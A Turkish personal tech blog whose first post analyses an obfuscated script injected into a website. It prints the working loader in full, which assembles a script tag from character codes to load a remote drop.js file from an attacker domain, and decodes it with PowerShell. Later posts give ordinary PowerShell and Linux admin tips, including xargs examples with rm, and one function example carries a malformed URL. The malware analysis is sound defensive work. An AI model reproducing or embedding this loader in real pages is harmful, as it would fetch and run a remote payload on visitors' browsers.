5.12.2023

Kodlanmış betikler

Girilmek istenen web sitelerinden birisi güvenlik duvarı üzerinde zararlı kod olarak sınıflandırılıyor ve engelleniyordu. Tekrar incelenmesini istedim, ısrarla zararlı içerik olduğu belirtildi. Virustotal'de bu görüşü destekleyecek bir sonuç göremedim. Google Safe Browsing'de de.

https://sitecheck.sucuri.net ile yaptığım taramada sitenin içinde kodlanmış betik parçası buldum (dikkat, zararlı içerik barındırır!):

  <script id="sgpb-custom-script-676">
    sgAddEvent(window, "sgpbWillOpen", function (e) {
      if (e.detail.popupId == "676") {
        (function () {
          var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)
          );
          elem.type = String.fromCharCode(
            116,
            101,
            120,
            116,
            47,
            106,
            97,
            118,
            97,
            115,
            99,
            114,
            105,
            112,
            116
          );
          elem.src = String.fromCharCode(
            104,
            116,
            116,
            112,
            115,
            58,
            47,
            47,
            100,
            114,
            111,
            112,
            46,
            100,
            111,
            110,
            116,
            115,
            116,
            111,
            112,
            116,
            104,
            105,
            115,
            109,
            117,
            115,
            105,
            99,
            115,
            46,
            99,
            111,
            109,
            47,
            100,
            114,
            111,
            112,
            46,
            106,
            115,
            63,
            116,
            61,
            49
          );
          document
            .getElementsByTagName(String.fromCharCode(104, 101, 97, 100))[0]
            .appendChild(elem);
        })();
      }
    });
</script>


Bu zararsız gibi görünen betiğin içinde kısaca şu işlemler var:

var elem = document.createElement(
            String.fromCharCode(115, 99, 114, 105, 112, 116)

Burada yeni bir DOM öğesi oluşturuluyor. fromCharCode() fonksiyonunun içindeki tamsayıları  Powershell yardımıyla bir değişkene atadım:

PS> $d = (115,99,114,105,112,116)

daha sonra bunları şu şekilde bir string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ }; $a 

Sonuç bir html betik etiketi: script

Sonraki adıma geçtim. Bu sefer de elem.type'ın satırındaki tam sayı dizisi için aynı işlemi yaptım:

PS> $d = (116,101,120,116,47,106,97,118,97,115,99,114,105,112,116)

daha sonra bunları şu şekilde string veri tipine dönüştürdüm:

PS> $a=""; $d | % { $a = $a + [char]$_ };$a

Buradan da text/javascript çıktı.

Nihayet sıra vurucu kısma geldi; üçüncü adımda elem.src'yi decode ettim oradan da https://drop.dontstopthismusics.com/drop.js?t=1 gibi bir adres çıktı. Nihayet bu üçü bir html etiketi olarak bir sonraki adımda appenChild ile DOM yapısına ekleniyor. Yani standart bir şekilde listelenmeyen bir script alt bileşenimiz ortaya çıkıyor.

Virustotal'de bu URL'i taradığımda ise şu sonuç çıktı:

 

Evet, bu adres zararlı içerik olarak sınıflandırıldı. Şu anda ulaşılabilir olmadığı için içeriğini göremiyorum. Ama bir ara ulaşılabiliyormuş ki zararlı olarak sınıflandırılabilmiş.

30.11.2023

Powershell'de etki alanı denetleyici sunucuları bulmak

Powershell betiklerine etki alanı denetleyici isimlerini elle yazmak yerine canlı olarak sorgulamak, betiklerin farklı etki alanlarında da sorunsuz çalışması için faydalı olabilir. ActiveDirectory modülü yüklüyse şu adımla bulunabilir:

PS> Get-ADDomainController -Filter *

ActiveDirectory modülü yüklü değilse

PS> $DCList = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
PS> $DCList.DomainControllers.name

gibi bir yöntem olabilir.

14.11.2023

LUKS ile şifrelenmiş diskleri açmak

Linux'u boot ettiğimiz disk şifreli değil. Ancak elimizde başka bir disk var, şifreli. Bu diski nasıl açarız? Sorumuz bu.

Diski taktıktan sonra lsblk --fs ile baktığımda FSTYPE sütununda gözüken crypto, diskin bir şifreleme kullandığını gösteriyor. Benim durumumda bu sdb1 olarak gözüküyordu.

$ sudo cryptsetup open /dev/sda3 luksrecoverytarget --type luks

kullanarak şifrelenmiş diske ait bir LUKS container'i oluşturalım. Bu sonrasında bize passphrase'imizi (şifrelenmiş birime ait parolamız) sorulacak. Doğru parolanın girilmesinin ardından /dev/mapper/luksrecoverytarget adında bir container'ımız olacak. Bu container'ı da mount etmek için

$ mount /dev/mapper/luksrecoverytarget /mnt/plain

kullanabiliriz. Yukarıdaki komut /mnt/plain'in var olduğunu varsaydı. İşlemer bittikten sonra önce unmount

$ umount /mnt/plain

ardından container'ı sonlandırmak gerek:

$ sudo cryptsetup close luksrecoverytarget

 ---

https://unix.stackexchange.com/questions/445652/how-to-mount-and-de-encrypt-a-luks-encrypted-partition-to-recover-files

https://www.baeldung.com/linux/check-disk-encryption

1.11.2023

Powershell fonksiyon oluşturma

Diğer programlama dillerinde olduğu gibi, Powershell'de de tekrarlanan kodları bir fonksiyon içinde tutup hızlıca erişime açabiliriz. Benim buradaki amacın bir fonksiyonun oluşturulmasıındaki birkaç anahtar noktayı vurgulamak.

Bir amacımız olduğunu varsayalım; bir genel (public) IP adresini hakkında coğrafi konum bilgisi alacağız. Bu amaçla bir fonksiyon oluşturuyoruz. Bu fonksiyonun adı Get-IPGeoInfo olsun. Powershell'de fonksiyonlara girişler (sorgu yapacağımız IP adresi) parametreler yardımıyla gönderilir. Örneğin terminalde

PS> Get-IPGeoInfo -IPAddress 195.175.39.39

gibi bir şekilde fonksiyonumuz çağrılabilir. Bunun için fonksiyon kodunun şu şekilde oluşturulması gerekir:

function Get-IPGeoInfo {
   param(
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      $Operator=$cevap.isp}

   $cikti
}

Bu şekilde,  ilk satırda yazıldığı gibi bir giriş sağlanırsa cevap alınabilir.

Ama IP adresinin terminalden verilmediğini düşünelim. Bu durumda fonksiyon bir boş bir IP verisi için sorgu yapacağından hata verir. Bunun önüne geçmek için IPAddress parametresinin zorunlu sağlanmasını isteyebiliriz. Bu amaçla

function Get-IPGeoInfo {
   param(
      [Parameter(Mandatory=$true)]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      $Operator=$cevap.isp}

   $cikti
}

kırmızı ile vurguladığım eklemeleri yapabiliriz. Ayrıca her seferinde IPAddress değil de sadece IP yazarak parametresini belirtmek istiyorsak bu parametre tanımına bir alias ekleyebiliriz.

function Get-IPGeoInfo {
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      $Operator=$cevap.isp}

   $cikti
}

Benzer şekilde fonksiyonumuz için de alias belirtebiliriz. Her seferinde Get-IPGeoInfo yerine kısaca ipinfo yazmak için param bloğunun hemen öncesine alias ekleyebiliriz.

function Get-IPGeoInfo {
   [Alias('ipinfo')]
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      $Operator=$cevap.isp}

   $cikti
}

Fonksiyonumuzun Powershell'in ortak parametrelerine erişebilmesi için CmdletBinding anahtar kelimesini kullanabiliriz.

function Get-IPGeoInfo {
   [CmdletBinding()]
   [Alias('ipinfo')]
   param(
      [Parameter(Mandatory=$true)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      $Operator=$cevap.isp}

   $cikti
}

Ayrıca CmdletBinding'in içini dolduracak ek parametreler için şu adrese bakılabilir.

Parametre tanımlamasında kullanılabilecek başka ayrıntılar da var. Örneğin yukarıdaki örneğimizde giriş parametresi sadece 1 tane olduğu için bu parametreyi her seferinde -ip diye kısa şekliyle bile belirtmeye gerek yok sadece (yeni alias'ımızı da hesaba katarak)

PS> ipinfo 195.175.39.39

şeklinde çalıştırabiliriz. Ama birden fazla parametremiz olsaydı hangisinin varsayılan olacağını (ve dolayısıyla diğer parametrelerin sıralarını) belirtmek için Position anahtar kelimesini kullanabiliriz. Bu şekilde her seferinde IP adresini elle yazmak yerine başka bir komutun çıktısını boru hattından (pipeline) almak için ValueFromPipeline'ı kullanabiliriz. Ayrıca Boolean veri tipindeki değerleri =$true şeklinde belirtmeye de gerek yok, sadece anahtar kelime ismini belirtmek yeterli, aşağıdaki gibi.

function Get-IPGeoInfo {
   [CmdletBinding()]
   [Alias('ipinfo')]
   param(
      [Parameter(ValueFromPipeline,Mandatory,Position=0)][alias("ip")]
      [string]$IPAddress
   )
   $cevap = Invoke-RestMethod -Uri "https://http://ip-api.com/json/$IPAddress"
   $cikti = @{
      Sehir=$cevap.city
      Ulke=$cevap.country
      $Operator=$cevap.isp}

   $cikti
}

Fonksiyonumuzun birden fazla parametresi varsa ve bu parametreleri isimlerini belirtmeden de çağırabilmek istiyorsak Position özelliğini kullanabiliriz. Örneğin param(.) bloğunda şu şekilde birşey olabilir:

param(
     [Parameter(Position=0)][string]$IPAddress,
     [Parameter(Position=1)][string]$HizmetSaglayici
)

Böylece artık fonksiyonumuzu

PS> ipinfo 1.1.1.1 ip-api.com

gibi kullandığımızda sırasıyla sorgu yapılacak IP adresini 1.1.1.1 olarak alacak, ve diğer parametreyi de hizmet sağlayıcı olarak kabul edecek. Elbette bu işlev şu anda fonksiyonumuzda yok, eklenmeli.

Bunun dışında try-catch gibi hata kontrolleri, boru hattından alınacak verinin işlenmesi için Begin-Process-End gibi fonksiyon bölümleri de koda eklenebilir.

27.10.2023

TCMB'den kur bilgisini Powershell ile çekmek

Merkez Bankası'nın kur bilgisini paylaştığı bir XML dosyası var

https://www.tcmb.gov.tr/kurlar/today.xml

adresinde, yıllardır değişmedi. İki tane kur bilgisini almak için her seferinde tarayıcıyı açıp adresi yazmaktansa küçük bir betik ile bakmak daha pratik geldi.

$tcmb_url = "https://www.tcmb.gov.tr/kurlar/today.xml"
[xml]$icerik = Invoke-WebRequest $tcmb_url
$icerik.Tarih_Date.Currency[0].CurrencyCode
$icerik.Tarih_Date.Currency[0].BanknoteSelling

0 endeks Amerikan Doları, 3 endeks de Avro.

Daha geniş bir görüş açısına sahip olmak için

$icerik.Tarih_Date.Currency[0]

komutu ile ne tür bir veri ile uğraştığımızı görmek istersek aşağıdaki gibi bir yapı ile karşılaşırız:

CrossOrder      : 0
Kod             : USD
CurrencyCode    : USD
Unit            : 1
Isim            : ABD DOLARI
CurrencyName    : US DOLLAR
ForexBuying     : 28.1026
ForexSelling    : 28.1532
BanknoteBuying  : 28.0829
BanknoteSelling : 28.1954
CrossRateUSD    :
CrossRateOther  :


20.10.2023

Linux terminali öğrenmek

 Linux terminal komutlarını öğrenmek için bulduğum güzel bir site var;

https://devopschops.com/blog/games-for-learning-linux/

Bu sitenin içinde denediğim ve eğlenceli bulduğum iki bağlantı ise

Command Challenge

ve

Sad Servers

boş vakitlerde denenebilir.

19.10.2023

linux'ta xargs komutu

xargs komutu, pipeline'dan veri almayı desteklemeyen komutlara bu özelliği kazandırmak için kullanılabilir. Hiçbir parametre kullanmadığımızda her biri yeni bir satıra yazılmış öğeleri boşluk ile ayrılmış şekilde aynı satıra yazar. Örnek olarak sehirler.txt dosyamızda şehir isimleri, her satırda bir tane olacak şekilde yazılmış olsun.

$ cat sehirler.txt

Bursa
Ankara
Kocaeli
Antalya
Adana

Bu şehir isimlerini tek satırda, boşluk ile ayrılmış şekilde yazmak için

$ cat sehirler.txt | xargs

kullanabiliriz. Bu elbette, xarg komutunun tüm yeteneklerini gösterecek bir örnek değil.

Mevcut klasörde dosya1.txt, dosya2.txt ve dosya3.txt adında 3 dosyamız olsun. Bunların içlerinde kaç kelime ve satır var, görmek istiyoruz.

$ ls dosya*.txt | wc

çalışmaz. Çünkü wc, pipeline input'u desteklemez. Bunu çalışır hale getirmek için

$ ls dosya*.txt | xargs wc

yapabilriz. Ya da bir log klasöründe 1 haftadan eski log dosyalarını silmek istiyoruz diyelim. Önce bu dosyaları bulalım:

$ find /var/log/ -type f -mtime +7

Bu komut ile bulunan dosyaları silmek için 

$ find /var/log/ -type f -mtime +7 | rm

işe yaramaz, çünkü rm stdin'den veri okumaz. Evet, find'in -exec parametresi ile de çözülebilir, ama örnek olması açısından şöyle bir kullanım xarg'ı açıklayabilir:

$ find /var/log -type f -mtime +7 | xargs rm

sehirler.txt dosyasının içeriğinin tek satırda yazıldığı örnekteki gibi, yukarıdaki örnek de aslında şuna eşdeğer bir işlem yapar:

$ rm log01.txt log02.txt log03.txt ...

Her log dosyasını ayrı bir rm komutuyla silmek için -n 1 kullanabiliriz

$ find /var/log/ -type f -mtime +7 | xargs -p -n 1 rm

Bu komut da şuna eşdeğer bir işlem yapar:

$ rm log01.txt
$ rm log02.txt
$ rm log03.txt
...

Bu dosyaları başka bir yere taşımak için

$ find /var/log/ -type f -mtime +7 | xargs -I % mv % /backup

Burada xargs, % yerine dosya isimlerini yerleştirir. -I parametresi, gizli -n 1 gibi davranarak aslında mv komutunun her dosya için ayrı ayrı çalıştırılmasını sağlar. Yani şuna eşdeğer bir işlem yapar:

$ mv log01.txt /backup
$ mv log02.txt /backup
$ mv log03.txt /backup
...

Dosya isimlerinde alfanümerik olmayan karakterlerin bulunması durumunda dosya isimlerini null karakteri ile ayırma şansımız var. Hem find komutunun dosya isimlerini null ile ayırt etmesini (-print0), hem de xargs komutunun bu karakterle ayrım yapmasını (-0) söyleyebiliriz:

$ find /var/log/ -type f -mtime +7 -print0 | xargs -0 rm

Paralel işlem yapılması ihtiyacı olan durumlar için xargs'ın -P gibi bir parametresi var.